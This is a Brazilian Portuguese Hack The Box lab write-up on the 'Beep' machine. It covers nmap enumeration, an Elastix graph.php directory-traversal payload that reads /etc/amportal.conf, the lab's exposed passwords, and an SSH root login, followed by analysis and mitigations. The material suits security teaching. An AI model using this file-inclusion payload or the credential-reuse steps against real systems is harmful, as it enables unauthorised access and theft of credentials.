Beep - HTB Easy Machine - Português Brasil
Sobre
O Beep possui uma lista muito grande de serviços em execução, o que pode tornar um pouco desafiador encontrar o método de entrada correto. Esta máquina pode ser opressiva para alguns, pois há muitos vetores de ataque potenciais. Felizmente, existem vários métodos disponíveis para obter acesso.
Exploração
Enumeração
O scan do nmap revelou múltiplas portas abertas executando vários serviços:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp open http Apache httpd 2.2.3
|_http-title: Did not follow redirect to https://10.10.10.7/
|_http-server-header: Apache/2.2.3 (CentOS)
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: AUTH-RESP-CODE USER TOP UIDL EXPIRE(NEVER) IMPLEMENTATION(Cyrus POP3 server v2) APOP PIPELINING LOGIN-DELAY(0) RESP-CODES STLS
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 790/udp status
|_ 100024 1 793/tcp status
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: IDLE Completed BINARY IMAP4 CHILDREN X-NETSCAPE OK MULTIAPPEND MAILBOX-REFERRALS SORT=MODSEQ ANNOTATEMORE NAMESPACE ACL QUOTA LITERAL+ CONDSTORE SORT LISTEXT LIST-SUBSCRIBED UNSELECT RIGHTS=kxte RENAME ID CATENATE AT
OMIC UIDPLUS STARTTLS THREAD=REFERENCES THREAD=ORDEREDSUBJECT URLAUTHA0001 NO IMAP4rev1
443/tcp open ssl/https?
|_ssl-date: 2025-09-10T20:38:53+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
793/tcp open status 1 (RPC #100024)
993/tcp open ssl/imap Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp open pop3 Cyrus pop3d
3306/tcp open mysql?
4190/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp open upnotifyp?
4559/tcp open hylafax HylaFAX 4.3.10
5038/tcp open asterisk Asterisk Call Manager 1.1
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix
Começando com a enumeração web, já que aplicações web normalmente servem como pontos de entrada primários para exploração de vulnerabilidades:
Tip
Talvez seja necessário ajustar as configurações de versão TLS aceitas pelo seu navegador. A máquina Beep usa uma versão muito desatualizada. Esta página de suporte fornece orientações de configuração para Firefox. Para outros navegadores, consulte suas respectivas documentações. Note que alguns navegadores não permitem essa mudança de configuração, pois representa riscos de segurança.
A tentativa de injeção SQL básica resultou na negação de acesso pelo site sem exibir mensagens de erro, indicando que ataques de injeção provavelmente não são o vetor de exploração para esta interface:
O exame do código fonte da página revelou implementação em PHP. Foi realizado um scan de enumeração de diretórios com feroxbuster, mas não retornou resultados bem-sucedidos, sugerindo que quaisquer páginas adicionais ou não retornam códigos de status HTTP 200 ou estão localizadas em subdiretórios não descobertos pelo scan:
└─ $ feroxbuster -u http://10.10.10.7 --silent -x php
Antes de abandonar esta abordagem, tentei acessar manualmente o diretório admin. Ele solicitou credenciais de autenticação, as quais eu não possuía. Ao cancelar, o site me redirecionou para /admin/config.php. Embora eu ainda não tivesse autorização, isso forneceu uma dica valiosa sobre a estrutura da aplicação:
Redirecionamento para:
Ponto de Entrada
A pesquisa sobre FreePBX 2.8.1.4 não revelou vulnerabilidades específicas, mas a investigação do Elastix revelou um exploit no exploit-db indicando que a aplicação é vulnerável a Local File Inclusion (LFI) e ataques de leitura de arquivo local.
O teste do payload /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action na página confirmou que a vulnerabilidade funciona sem necessitar de modificações.
Esta página expôs credenciais e nomes de usuário que poderiam potencialmente ser usados para autenticação de login na página inicial ou acesso SSH, embora nomes de usuário ainda fossem necessários para exploração bem-sucedida:
Extraí as variáveis de ambiente mais relevantes deste arquivo de configuração:
AMPDBHOST=localhost
AMPDBENGINE=mysql
#AMPDBNAME=asterisk
AMPDBUSER=asteriskuser
#AMPDBPASS=amp109
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
#AMPMGRPASS=amp111
AMPMGRPASS=jEhdIekWmdjE
#FOPRUN=true
FOPWEBROOT=/var/www/html/panel
#FOPPASSWORD=passw0rd
FOPPASSWORD=jEhdIekWmdjE
Retornando à tela de login inicial, usando o nome de usuário admin e senha jEhdIekWmdjE obtive acesso com sucesso ao portal administrativo:
Dado o sucesso da autenticação no portal administrativo com essas credenciais, foi lógico tentar acesso SSH, especialmente porque a porta 22 SSH estava aberta. Felizmente, o login SSH como root foi bem-sucedido usando as mesmas credenciais. A partir deste ponto, o objetivo era simplesmente localizar as flags.
A conexão SSH exigiu ajustes específicos devido à versão desatualizada do SSH da máquina comparada às configurações modernas de terminal:
┌── ➤ beep
└─ $ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa root@10.10.10.7
The authenticity of host '10.10.10.7 (10.10.10.7)' can't be established.
RSA key fingerprint is SHA256:Ip2MswIVDX1AIEPoLiHsMFfdg1pEJ0XXD5nFEjki/hI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.7' (RSA) to the list of known hosts.
root@10.10.10.7's password:
Last login: Tue Jul 16 11:45:47 2019
Welcome to Elastix
----------------------------------------------------
To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
http://10.10.10.7
[root@beep ~]# whoami
root
USER
[root@beep fanis]# cat user.txt
5e202e546efa613.....
ROOT
[root@beep ~]# cat root.txt
ef2972e1b1186d.....
Análise
Vulnerabilidade Primária: Local File Inclusion (LFI)
A aplicação Elastix 2.2.0 contém uma vulnerabilidade de Local File Inclusion no endpoint /vtigercrm/graph.php. Esta vulnerabilidade decorre da sanitização inadequada de entrada do parâmetro current_language, permitindo que atacantes atravessem o sistema de arquivos usando sequências de travessia de diretório (../../../).
O exploit recuperou com sucesso o arquivo /etc/amportal.conf, que continha informações sensíveis de configuração incluindo credenciais de banco de dados, senhas administrativas e detalhes de configuração do sistema.
Vulnerabilidade Secundária: Reutilização de Credenciais
As credenciais extraídas do arquivo de configuração (admin:jEhdIekWmdjE) foram reutilizadas em múltiplos serviços:
- Painel de administração web do Elastix
- Acesso SSH como root
- Conexões de banco de dados
- Interfaces administrativas
Este padrão de reutilização de credenciais amplificou significativamente o impacto da vulnerabilidade LFI inicial, permitindo escalação imediata de privilégios da divulgação de arquivos ao comprometimento completo do sistema.
Mitigação
- Sempre procure por notas de patch e atualize os serviços para as versões estáveis mais recentes
- Implemente validação rigorosa de entrada para todos os parâmetros fornecidos pelo usuário
- Use validação baseada em whitelist para parâmetros de caminho de arquivo
- Sanitize e valide todas as entradas do usuário antes do processamento
- Implemente mecanismos adequados de codificação/decodificação
- Nunca use senhas padrão e compartilhadas em todos os serviços
- Implemente permissões adequadas do sistema de arquivos e restrinja o acesso da aplicação web apenas aos diretórios necessários
Observações
Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.
Referências
The master 0xdf
Elastix 2.2.0 - 'graph.php' Local File Inclusion